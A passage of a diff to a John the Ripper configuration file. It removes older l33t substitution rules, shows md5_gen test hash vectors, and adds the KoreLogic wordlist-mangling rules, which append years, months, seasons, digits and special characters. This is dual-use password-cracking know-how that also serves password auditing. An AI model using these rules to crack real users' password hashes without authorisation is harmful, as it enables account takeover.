-/4s4A/TsT+[:c] -/4s4A/1s1![:c] -/4s4A/1s1i[:c] -/4s4A/1s1I[:c] -/4s4A/1s1|[:c] -/4s4A/0s0o[:c] -/4s4A/0s0O[:c] -/4s4A/3s3e[:c] -/4s4A/3s3E[:c] -/4s4A/5s5s[:c] -/4s4A/5s5S[:c] -/4s4A/7s7l[:c] -/4s4A/7s7L[:c] -/4s4A/8s8b[:c] -/4s4A/8s8B[:c] -/5s5s/asa@[:c] -/5s5s/asa4[:c] -/5s5s/AsA4[:c] -/5s5s/AsA@[:c] -/5s5s/bsb8[:c] -/5s5s/BsB8[:c] -/5s5s/ese3[:c] -/5s5s/EsE3[:c] -/5s5s/isi1[:c] -/5s5s/isi![:c] -/5s5s/isi|[:c] -/5s5s/IsI1[:c] -/5s5s/IsI![:c] -/5s5s/IsI|[:c] -/5s5s/lsl1[:c] -/5s5s/lsl7[:c] -/5s5s/lsl|[:c] -/5s5s/lsl![:c] -/5s5s/Lsl1[:c] -/5s5s/Lsl7[:c] -/5s5s/Lsl|[:c] -/5s5s/Lsl![:c] -/5s5s/oso0[:c] -/5s5s/OsO0[:c] -/5s5s/sss$[:c] -/5s5s/sss5[:c] -/5s5s/SsS$[:c] -/5s5s/SsS5[:c] -/5s5s/tst+[:c] -/5s5s/TsT+[:c] -/5s5s/1s1![:c] -/5s5s/1s1i[:c] -/5s5s/1s1I[:c] -/5s5s/1s1|[:c] -/5s5s/0s0o[:c] -/5s5s/0s0O[:c] -/5s5s/3s3e[:c] -/5s5s/3s3E[:c] -/5s5s/4s4a[:c] -/5s5s/4s4A[:c] -/5s5s/7s7l[:c] -/5s5s/7s7L[:c] -/5s5s/8s8b[:c] -/5s5s/8s8B[:c] -/5s5S/asa@[:c] -/5s5S/asa4[:c] -/5s5S/AsA4[:c] -/5s5S/AsA@[:c] -/5s5S/bsb8[:c] -/5s5S/BsB8[:c] -/5s5S/ese3[:c] -/5s5S/EsE3[:c] -/5s5S/isi1[:c] -/5s5S/isi![:c] -/5s5S/isi|[:c] -/5s5S/IsI1[:c] -/5s5S/IsI![:c] -/5s5S/IsI|[:c] -/5s5S/lsl1[:c] -/5s5S/lsl7[:c] -/5s5S/lsl|[:c] -/5s5S/lsl![:c] -/5s5S/Lsl1[:c] -/5s5S/Lsl7[:c] -/5s5S/Lsl|[:c] -/5s5S/Lsl![:c] -/5s5S/oso0[:c] -/5s5S/OsO0[:c] -/5s5S/sss$[:c] -/5s5S/sss5[:c] -/5s5S/SsS$[:c] -/5s5S/SsS5[:c] -/5s5S/tst+[:c] -/5s5S/TsT+[:c] -/5s5S/1s1![:c] -/5s5S/1s1i[:c] -/5s5S/1s1I[:c] -/5s5S/1s1|[:c] -/5s5S/0s0o[:c] -/5s5S/0s0O[:c] -/5s5S/3s3e[:c] -/5s5S/3s3E[:c] -/5s5S/4s4a[:c] -/5s5S/4s4A[:c] -/5s5S/7s7l[:c] -/5s5S/7s7L[:c] -/5s5S/8s8b[:c] -/5s5S/8s8B[:c] -/7s7l/asa@[:c] -/7s7l/asa4[:c] -/7s7l/AsA4[:c] -/7s7l/AsA@[:c] -/7s7l/bsb8[:c] -/7s7l/BsB8[:c] -/7s7l/ese3[:c] -/7s7l/EsE3[:c] -/7s7l/isi1[:c] -/7s7l/isi![:c] -/7s7l/isi|[:c] -/7s7l/IsI1[:c] -/7s7l/IsI![:c] -/7s7l/IsI|[:c] -/7s7l/lsl1[:c] -/7s7l/lsl7[:c] -/7s7l/lsl|[:c] -/7s7l/lsl![:c] -/7s7l/Lsl1[:c] -/7s7l/Lsl7[:c] -/7s7l/Lsl|[:c] -/7s7l/Lsl![:c] -/7s7l/oso0[:c] -/7s7l/OsO0[:c] -/7s7l/sss$[:c] -/7s7l/sss5[:c] -/7s7l/SsS$[:c] -/7s7l/SsS5[:c] -/7s7l/tst+[:c] -/7s7l/TsT+[:c] -/7s7l/1s1![:c] -/7s7l/1s1i[:c] -/7s7l/1s1I[:c] -/7s7l/1s1|[:c] -/7s7l/0s0o[:c] -/7s7l/0s0O[:c] -/7s7l/3s3e[:c] -/7s7l/3s3E[:c] -/7s7l/4s4a[:c] -/7s7l/4s4A[:c] -/7s7l/5s5s[:c] -/7s7l/5s5S[:c] -/7s7l/8s8b[:c] -/7s7l/8s8B[:c] -/7s7L/asa@[:c] -/7s7L/asa4[:c] -/7s7L/AsA4[:c] -/7s7L/AsA@[:c] -/7s7L/bsb8[:c] -/7s7L/BsB8[:c] -/7s7L/ese3[:c] -/7s7L/EsE3[:c] -/7s7L/isi1[:c] -/7s7L/isi![:c] -/7s7L/isi|[:c] -/7s7L/IsI1[:c] -/7s7L/IsI![:c] -/7s7L/IsI|[:c] -/7s7L/lsl1[:c] -/7s7L/lsl7[:c] -/7s7L/lsl|[:c] -/7s7L/lsl![:c] -/7s7L/Lsl1[:c] -/7s7L/Lsl7[:c] -/7s7L/Lsl|[:c] -/7s7L/Lsl![:c] -/7s7L/oso0[:c] -/7s7L/OsO0[:c] -/7s7L/sss$[:c] -/7s7L/sss5[:c] -/7s7L/SsS$[:c] -/7s7L/SsS5[:c] -/7s7L/tst+[:c] -/7s7L/TsT+[:c] -/7s7L/1s1![:c] -/7s7L/1s1i[:c] -/7s7L/1s1I[:c] -/7s7L/1s1|[:c] -/7s7L/0s0o[:c] -/7s7L/0s0O[:c] -/7s7L/3s3e[:c] -/7s7L/3s3E[:c] -/7s7L/4s4a[:c] -/7s7L/4s4A[:c] -/7s7L/5s5s[:c] -/7s7L/5s5S[:c] -/7s7L/8s8b[:c] -/7s7L/8s8B[:c] -/8s8b/asa@[:c] -/8s8b/asa4[:c] -/8s8b/AsA4[:c] -/8s8b/AsA@[:c] -/8s8b/bsb8[:c] -/8s8b/BsB8[:c] -/8s8b/ese3[:c] -/8s8b/EsE3[:c] -/8s8b/isi1[:c] -/8s8b/isi![:c] -/8s8b/isi|[:c] -/8s8b/IsI1[:c] -/8s8b/IsI![:c] -/8s8b/IsI|[:c] -/8s8b/lsl1[:c] -/8s8b/lsl7[:c] -/8s8b/lsl|[:c] -/8s8b/lsl![:c] -/8s8b/Lsl1[:c] -/8s8b/Lsl7[:c] -/8s8b/Lsl|[:c] -/8s8b/Lsl![:c] -/8s8b/oso0[:c] -/8s8b/OsO0[:c] -/8s8b/sss$[:c] -/8s8b/sss5[:c] -/8s8b/SsS$[:c] -/8s8b/SsS5[:c] -/8s8b/tst+[:c] -/8s8b/TsT+[:c] -/8s8b/1s1![:c] -/8s8b/1s1i[:c] -/8s8b/1s1I[:c] -/8s8b/1s1|[:c] -/8s8b/0s0o[:c] -/8s8b/0s0O[:c] -/8s8b/3s3e[:c] -/8s8b/3s3E[:c] -/8s8b/4s4a[:c] -/8s8b/4s4A[:c] -/8s8b/5s5s[:c] -/8s8b/5s5S[:c] -/8s8b/7s7l[:c] -/8s8b/7s7L[:c] -/8s8B/asa@[:c] -/8s8B/asa4[:c] -/8s8B/AsA4[:c] -/8s8B/AsA@[:c] -/8s8B/bsb8[:c] -/8s8B/BsB8[:c] -/8s8B/ese3[:c] -/8s8B/EsE3[:c] -/8s8B/isi1[:c] -/8s8B/isi![:c] -/8s8B/isi|[:c] -/8s8B/IsI1[:c] -/8s8B/IsI![:c] -/8s8B/IsI|[:c] -/8s8B/lsl1[:c] -/8s8B/lsl7[:c] -/8s8B/lsl|[:c] -/8s8B/lsl![:c] -/8s8B/Lsl1[:c] -/8s8B/Lsl7[:c] -/8s8B/Lsl|[:c] -/8s8B/Lsl![:c] -/8s8B/oso0[:c] -/8s8B/OsO0[:c] -/8s8B/sss$[:c] -/8s8B/sss5[:c] -/8s8B/SsS$[:c] -/8s8B/SsS5[:c] -/8s8B/tst+[:c] -/8s8B/TsT+[:c] -/8s8B/1s1![:c] -/8s8B/1s1i[:c] -/8s8B/1s1I[:c] -/8s8B/1s1|[:c] -/8s8B/0s0o[:c] -/8s8B/0s0O[:c] -/8s8B/3s3e[:c] -/8s8B/3s3E[:c] -/8s8B/4s4a[:c] -/8s8B/4s4A[:c] -/8s8B/5s5s[:c] -/8s8B/5s5S[:c] -/8s8B/7s7l[:c] -/8s8B/7s7L[:c] -# These are some popular triple/quad l33t rules -/asa4/ese3/lsl1[:c] -/asa4/ese3/oso0[:c] -/asa4/ese3/sss$[:c] -/asa4/lsl1/oso0[:c] -/asa4/lsl1/sss$[:c] -/asa4/oso0/sss$[:c] -/ese3/lsl1/oso0[:c] -/ese3/lsl1/sss$[:c] -/ese3/oso0/sss$[:c] -/lsl1/oso0/sss$[:c] -/asa4/ese3/lsl1/oso0[:c] -/asa4/ese3/lsl1/sss$[:c] -/asa4/ese3/oso0/sss$[:c] -/asa4/lsl1/oso0/sss$[:c] -/ese3/lsl1/oso0/sss$[:c] -/asa4/ese3/lsl1/oso0/sss$[:c] - - - # Case toggler for cracking MD4-based NTLM hashes (with the contributed patch) # given already cracked DES-based LM hashes. @@ -3845,3 +1524,499 @@ Test=md5_gen(1008)ed52af63d8ecf0c682442dfef5f36391$1aDNNojYGSc7pSzcdxKxhbqvLtEe4 Test=md5_gen(1008)4fa1e9d54d89bfbe48b4c0f0ca0a3756$laxcaXPjgcdKdKEbkX1SIjHKm0gfYt1c:thatsworking Test=md5_gen(1008)82568eeaa1fcf299662ccd59d8a12f54$BdWwFsbGtXPGc0H1TBxCrn0GasyAlJBJ:test3 + +[List.Rules:KoreLogicRules] + +;[List.Rules:KoreLogicRulesPrependNumNum] +-[c:] \p[c:] A0"[0-9][0-9]" + +;[List.Rules:KoreLogicRulesPrependYears] +A0"20[0-1][0-9]" +A0"19[3-9][0-9]" + +# Notice: Your wordlist should likely be all lowercase - or you are wasting work +;[List.Rules:KoreLogicRulesAppendYears] +-[c:] \p[c:] Az"19[0-9][0-9]" <+ +-[c:] \p[c:] Az"20[01][0-9]" <+ + +;[List.Rules:KoreLogicRulesPrependNumNumNum] +-[c:] \p[c:] A0"[0-9][0-9][0-9]" + +;[List.Rules:KoreLogicRulesMonthsFullPreface] +-[:c] A0"\p[jJ]anuary" +-[:c] A0"\p[fF]ebruary" +-[:c] A0"\p[mM]arch" +-[:c] A0"\p[aA]pril" +-[:c] A0"\p[mM]ay" +-[:c] A0"\p[jJ]uner" +-[:c] A0"\p[jJ]uly" +-[:c] A0"\p[aA]ugust" +-[:c] A0"\p[sS]eptember" +-[:c] A0"\p[oO]ctober" +-[:c] A0"\p[nN]ovember" +-[:c] A0"\p[dD]ecember" + +;[List.Rules:KoreLogicRulesPrepend4LetterMonths] +## Preface each dictionary with Janu janu Febr febr +-[:c] A0"\p[jJ]anu" +-[:c] A0"\p[fF]ebr" +-[:c] A0"\p[mM]arc" +-[:c] A0"\p[aA]pr" +-[:c] A0"\p[mM]ay" +-[:c] A0"\p[jJ]une" +-[:c] A0"\p[jJ]uly" +-[:c] A0"\p[Aa]ugu" +-[:c] A0"\p[sS]ept" +-[:c] A0"\p[oO]cto" +-[:c] A0"\p[nN]ove" +-[:c] A0"\p[Dd]ece" + +# Use this rule with 2EVERYTHING.dic or 3EVERYTHING.dic +;[List.Rules:KoreLogicRulesPrependSeason] +A0"[Ss$][uU][mM][mM][eE3][rR]" +A0"[Ww][iI|][nN][tT+][eE3][rR]" +A0"[Ff][aA][lL][lL]" +A0"[Ss][pP][rR][iI][nN][gG]" +A0"[Aa][uU][tT][uU][mM][nN]" + +# Use this rule with 2EVERYTHING.dic or 3EVERYTHING.dic +;[List.Rules:KoreLogicRulesAppendSeason] +<* Az"[Ss$][uU][mM][mM][eE3][rR]" +<* Az"[Ww][iI|][nN][tT+][eE3][rR]" +<* Az"[Ff][aA][lL][lL]" +<* Az"[Ss][pP][rR][iI][nN][gG]" +<* Az"[Aa][uU][tT][uU][mM][nN]" + +;[List.Rules:KoreLogicRulesPrependHello] +A0"[hH][eE][lL][lL][oO0]" + +# Notice how we +# 1) do caps first b/c they are more common in 'complex' environments +# 2) Do !$@#%. first b/c they are the most common special chars +;[List.Rules:KoreLogicRulesAppendCurrentYearSpecial] +-[c:] \p[c:] Az"201[0-9][!$@#%.]" <+ +-[c:] \p[c:] Azq201[0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesPrependSpecialSpecial] +-[c:] \p[c:] A0q[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q + +;[List.Rules:KoreLogicRulesAppend2Letters] +<- Az"[a-z][a-z]" +-c <- Az"[A-Z][A-Z]" +-c <- Az"[a-z][A-Z]" +-c <- Az"[A-Z][a-z]" + +# Append numbers - but limit the total length. +;[List.Rules:KoreLogicRulesAddJustNumbers] +-[c:] <* >1 \p[c:] $[0-9] +-[c:] <* >1 \p[c:] ^[0-9] +-[c:] <- >1 \p[c:] Az"[0-9][0-9]" +-[c:] <- >1 \p[c:] A0"[0-9][0-9]" +-[c:] >1 \p[c:] Az"[0-9][0-9][0-9]" <+ +# Redundant with KoreLogicRulesAppend4Num +;-[c:] >1 \p[c:] Az"[0-9][0-9][0-9][0-9]" <+ + +;[List.Rules:KoreLogicRulesDevProdTestUAT] +-\r[::cc] <* A\p\r[0l0l]"dev" \p\r[::TT]\p\r[::0l] +-\r[::cc] <* A\p\r[0l0l]"uat" \p\r[::TT]\p\r[::0l] +-\r[::cc] <* A\p\r[0l0l]"prod" \p\r[::TT]\p\r[::0l] +-\r[::cc] <* A\p\r[0l0l]"test" \p\r[::TT]\p\r[::0l] + +;[List.Rules:KoreLogicRulesPrependAndAppendSpecial] +-[c:] <- \p[c:] ^[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] + +# Redundant with KoreLogicRulesAddJustNumbers and KoreLogicRulesAppend4Num +;[List.Rules:KoreLogicRulesAppendJustNumbers] +;-[c:] <* \p[c:] $[0-9] +;-[c:] <- \p[c:] Az"[0-9][0-9]" +;-[c:] \p[c:] Az"[0-9][0-9][0-9]" <+ +;-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9]" <+ + +;[List.Rules:KoreLogicRulesAppendNumbers_and_Specials_Simple] +# cap first letter then add a 0 2 6 9 ! * to the end +-[c:] <* \p[c:] $[0-9!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] +# cap first letter then add a special char - THEN a number !0 %9 !9 etc +-[c:] <- \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9]q +# Cap the first letter - then add 0? 0! 5_ .. 9! +## add NUMBER then SPECIAL 1! .. 9? +-[c:] <- \p[c:] Azq[0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q +## Add Number Number Special +;-[c:] \p[c:] Azq[0-9][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ +## Add Special Number Number +;-[c:] \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9]q <+ +# Add 100! ... 999! to the end +;-[c:] \p[c:] Azq[0-9][0-9][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesAppendJustSpecials] +-[c:] <* \p[c:] $[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] +-[c:] <- \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q + +;[List.Rules:KoreLogicRulesAddShortMonthsEverywhere] +<* >\r[00123456789] A\p[z0-9]"[jJ][aA][nN]" +<* >\r[00123456789] A\p[z0-9]"[fF][eE][bB]" +<* >\r[00123456789] A\p[z0-9]"[mM][aA][rRyY]" +<* >\r[00123456789] A\p[z0-9]"[aA][pP][rR]" +<* >\r[00123456789] A\p[z0-9]"[jJ][uU][nNlL]" +<* >\r[00123456789] A\p[z0-9]"[aA][uU][gG]" +<* >\r[00123456789] A\p[z0-9]"[sS][eE][pP]" +<* >\r[00123456789] A\p[z0-9]"[oO][cC][tT]" +<* >\r[00123456789] A\p[z0-9]"[nN][oO][vV]" +<* >\r[00123456789] A\p[z0-9]"[dD][eE][cC]" + +# this will add the string '2010' at all places in the word: +# USE this with a 4 or 5 char dictionary file with ALL characters +# soo abcde will become +# 2010abcde a2010bcde ab2010cde acd2010de abcd2010e abcde2010 +;[List.Rules:KoreLogicRulesAdd2010Everywhere] +<* >\r[00123456789] A\p[z0-9]"201[0-9]" + +;[List.Rules:KoreLogicRulesAdd1234_Everywhere] +<* >\r[00123456789] A\p[z0-9]"1234" + +;[List.Rules:KoreLogicRulesAppendMonthDay] +-[:c] <* Az"\p[jJ]anuary" +-[:c] Az"\p[jJ]anuary[0-9]" <+ +-[:c] Az"\p[jJ]anuary[0-9][0-9]" <+ +-[:c] <* Az"\p[fF]ebruary" +-[:c] Az"\p[fF]ebruary[0-9]" <+ +-[:c] Az"\p[fF]ebruary[0-9][0-9]" <+ +-[:c] Az"\p[mM]arch" +-[:c] Az"\p[mM]arch[0-9]" <+ +-[:c] Az"\p[mM]arch[0-9][0-9]" <+ +-[:c] <* Az"\p[aA]pril" +-[:c] Az"\p[aA]pril[0-9]" <+ +-[:c] Az"\p[aA]pril[0-9][0-9]" <+ +-[:c] <* Az"\p[mM]ay" +-[:c] Az"\p[mM]ay[0-9]" <+ +-[:c] Az"\p[mM]ay[0-9][0-9]" <+ +-[:c] <* Az"\p[jJ]une" +-[:c] Az"\p[jJ]une[0-9]" <+ +# There was a typo in Kore's original revision of this rule +-[:c] Az"\p[jJ]une[0-9][0-9]" <+ +-[:c] <* Az"\p[jJ]uly" +-[:c] Az"\p[jJ]uly[0-9]" <+ +-[:c] Az"\p[jJ]uly[0-9][0-9]" <+ +-[:c] <* Az"\p[aA]ugust" +-[:c] Az"\p[aA]ugust[0-9]" <+ +-[:c] Az"\p[aA]ugust[0-9][0-9]" <+ +-[:c] <* Az"\p[sS]eptember" +-[:c] Az"\p[sS]eptember[0-9]" <+ +# There was a typo in Kore's original revision of this rule +-[:c] Az"\p[sS]eptember[0-9][0-9]" <+ +-[:c] <* Az"\p[oO]ctober" +-[:c] Az"\p[oO]ctober[0-9]" <+ +-[:c] Az"\p[oO]ctober[0-9][0-9]" <+ +-[:c] <* Az"\p[nN]ovember" +-[:c] Az"\p[nN]ovember[0-9]" <+ +-[:c] Az"\p[nN]ovember[0-9][0-9]" <+ +-[:c] <* Az"\p[dD]ecember" +-[:c] Az"\p[dD]ecember[0-9]" <+ +-[:c] Az"\p[dD]ecember[0-9][0-9]" <+ + +;[List.Rules:KoreLogicRulesAppendMonthCurrentYear] +-[:c] <* Az"\p[jJ]an201[0-9]" +-[:c] <* Az"\p[fF]eb201[0-9]" +-[:c] <* Az"\p[mM]ar201[0-9]" +-[:c] <* Az"\p[aA]pr201[0-9]" +-[:c] <* Az"\p[mM]ay201[0-9]" +-[:c] <* Az"\p[jJ]un201[0-9]" +-[:c] <* Az"\p[jJ]ul201[0-9]" +-[:c] <* Az"\p[Aa]ug201[0-9]" +-[:c] <* Az"\p[sS]ep201[0-9]" +-[:c] <* Az"\p[oO]ct201[0-9]" +-[:c] <* Az"\p[nN]ov201[0-9]" +-[:c] <* Az"\p[Dd]ec201[0-9]" + +;[List.Rules:KoreLogicRulesReplaceNumbers2Special] +/[1-90] s\0\p[!@#$%^&*()] +/1 /[2-90] s1! s\0\p[@#$%^&*()] +/2 /[3-90] s2@ s\0\p[#$%^&*()] +/3 /[4-90] s3# s\0\p[$%^&*()] +/4 /[5-90] s4$ s\0\p[%^&*()] +/5 /[6-90] s5% s\0\p[^&*()] +/6 /[7-90] s6^ s\0\p[&*()] +/7 /[890] s7& s\0\p[*()] +/8 /[90] s8* s\0\p[()] +/9 /0 s9( s0) + +;[List.Rules:KoreLogicRulesReplaceNumbers] +/0 s0[1-9] +/1 s1[02-9] +/2 s2[013-9] +/3 s3[0-24-9] +/4 s4[0-35-9] +/5 s5[0-46-9] +/6 s6[0-57-9] +/7 s7[0-68-9] +/8 s8[0-79] +/9 s9[0-8] +# 10 lines above can be replaced with just one: +# /[0-9] s\0[0-9] Q +# but it's slower (generates, then rejects some duplicates). + +# This is a lamer/faster version of --rules:nt +;[List.Rules:KoreLogicRulesReplaceLettersCaps] +-c /[a-z] s\0\p[A-Z] + +;[List.Rules:KoreLogicRulesAddDotCom] +-[c:] <- \p[c:] Az".com" +-[c:] <- \p[c:] Az".net" +-[c:] <- \p[c:] Az".org" + +;[List.Rules:KoreLogicRulesPrependJustSpecials] +-[c:] \p[c:] ^[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] +-[c:] \p[c:] A0q[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q + +;[List.Rules:KoreLogicRulesAppend1_AddSpecialEverywhere] +-[c:] >4 <- \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $1 +-[c:] >[5-8] <- \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $1 + +;[List.Rules:KoreLogicRulesAppendNum_AddSpecialEverywhere] +# This should probably use $[02-9] since we try $1 in +# KoreLogicRulesAppend1_AddSpecialEverywhere +-[c:] >4 <- \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $[0-9] +-[c:] >[5-8] <- \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $[0-9] + +;[List.Rules:KoreLogicRulesAppendNumNum_AddSpecialEverywhere] +-[c:] >4 \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"[0-9][0-9]" <+ +-[c:] >[5-8] \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"[0-9][0-9]" <+ + +;[List.Rules:KoreLogicRulesAppendNumNumNum_AddSpecialEverywhere] +-[c:] >4 \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"[0-9][0-9][0-9]" <+ +-[c:] >[5-8] \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"[0-9][0-9][0-9]" <+ + +;[List.Rules:KoreLogicRulesAppendYears_AddSpecialEverywhere] +-[c:] >4 \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"19[4-9][0-9]" <+ +-[c:] >4 \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"20[0-1][0-9]" <+ +-[c:] >[5-8] \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"19[4-9][0-9]" <+ +-[c:] >[5-8] \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"20[0-1][0-9]" <+ + +# This rule needs work actually --- you have to 'sort -u' its output rick +# /a = reject if it doesnt have an 'a' +# the [:c] does waste some effort - and generate dupes. This is wasteful, +# but I want to keep it in b/c the original crack/JtR rules use it. +;[List.Rules:KoreLogicRulesL33t] +-[:c] /\r[aaAAbBeEiiiIIIllll] s\0\r\p[@44@88331!|1!|17|!] \p1[:M] \p1[:c] \p1[:Q] +# The following line differs from Kore's erroneous 4 lines: +-[:c] /\r[LLLL] s\0\r\p[17|!] \p1[:M] \p1[:c] \p1[:Q] +#/Lsl1[:c] +#/Lsl7[:c] +#/Lsl|[:c] +#/Lsl![:c] +-[:c] /\r[oOssSStT1111003344557788] s\0\r\p[00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +# Full set (same as above, but on one line): +#-[:c] /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT1111003344557788] s\0\r\p[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +# Double substitutions start here. +# Compared to Kore's, we check for both chars first, then replace both. +# This produces different results from Kore's, which would replace all +# instances of the first char before checking for the second. +# Kore's behavior may be restored by moving "sa[@4]" to be right after "/a" +# on the line below, and ditto for further lines. +-[:c] /a /\r[AAbBeEiiiIIIllllLLLLoOssSStT1111003344557788] sa[@4] s\2\r\p2[4@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +# Kore had these (probably unintentionally, so we don't duplicate them): +#/asa4/4s4a[:c] +#/asa4/4s4A[:c] +-[:c] /A /\r[aabBeEiiiIIIllllLLLLoOssSStT1111003344557788] sA4 s\0\r\p[@488331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +# Kore also had these, but (intentionally?) missed sb8 on this set (after sA4) +#/AsA4/4s4a[:c] +#/AsA4/4s4A[:c] +-[:c] /b /\r[aaAABeEiiiIIIllllLLLLoOssSStT1111003344557788] sb8 s\0\r\p[@44@8331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /B /\r[aaAAbeEiiiIIIllllLLLLoOssSStT1111003344557788] sB8 s\0\r\p[@44@8331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /e /\r[aaAAbBEiiiIIIllllLLLLoOssSStT1111003344557788] se3 s\0\r\p[@44@8831!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /E /\r[aaAAbBeiiiIIIllllLLLLoOssSStT1111003344557788] sE3 s\0\r\p[@44@8831!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /i /\r[aaAAbBeEIIIllllLLLLoOssSStT1111003344557788] si[1!|] s\2\r\p2[@44@88331!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /I /\r[aaAAbBeEiiillllLLLLoOssSStT1111003344557788] sI[1!|] s\2\r\p2[@44@88331!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +# Kore's rules only included sl[17|], but not sl! +-[:c] /l /\r[aaAAbBeEiiiIIILLLLoOssSStT1111003344557788] sl[17|!] s\2\r\p2[@44@88331|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +# All "/L" rules (171 lines) were buggy +-[:c] /L /\r[aaAAbBeEiiiIIIlllloOssSStT1111003344557788] sl[17|!] s\2\r\p2[@44@88331|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /o /\r[aaAAbBeEiiiIIIllllLLLLOssSStT1111003344557788] so0 s\0\r\p[@44@88331!|1!|17|!17|!0$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /O /\r[aaAAbBeEiiiIIIllllLLLLossSStT1111003344557788] sO0 s\0\r\p[@44@88331!|1!|17|!17|!0$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /s /\r[aaAAbBeEiiiIIIllllLLLLoOSStT1111003344557788] ss[$5] s\2\r\p2[@44@88331!|1!|17|!17|!00$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /S /\r[aaAAbBeEiiiIIIllllLLLLoOsstT1111003344557788] sS[$5] s\2\r\p2[@44@88331!|1!|17|!17|!00$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /t /\r[aaAAbBeEiiiIIIllllLLLLoOssSST1111003344557788] st+ s\0\r\p[@44@88331!|1!|17|!17|!00$5$5+!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /T /\r[aaAAbBeEiiiIIIllllLLLLoOssSSt1111003344557788] sT+ s\0\r\p[@44@88331!|1!|17|!17|!00$5$5+!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /1 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT003344557788] s1[!iI|] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /0 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11113344557788] s0[oO] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|eEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /3 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110044557788] s3[eE] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +#-[:c] /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT1111003344557788] s\0\r\p[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /4 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110033557788] s4[aA] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /5 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110033447788] s5[sS] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /7 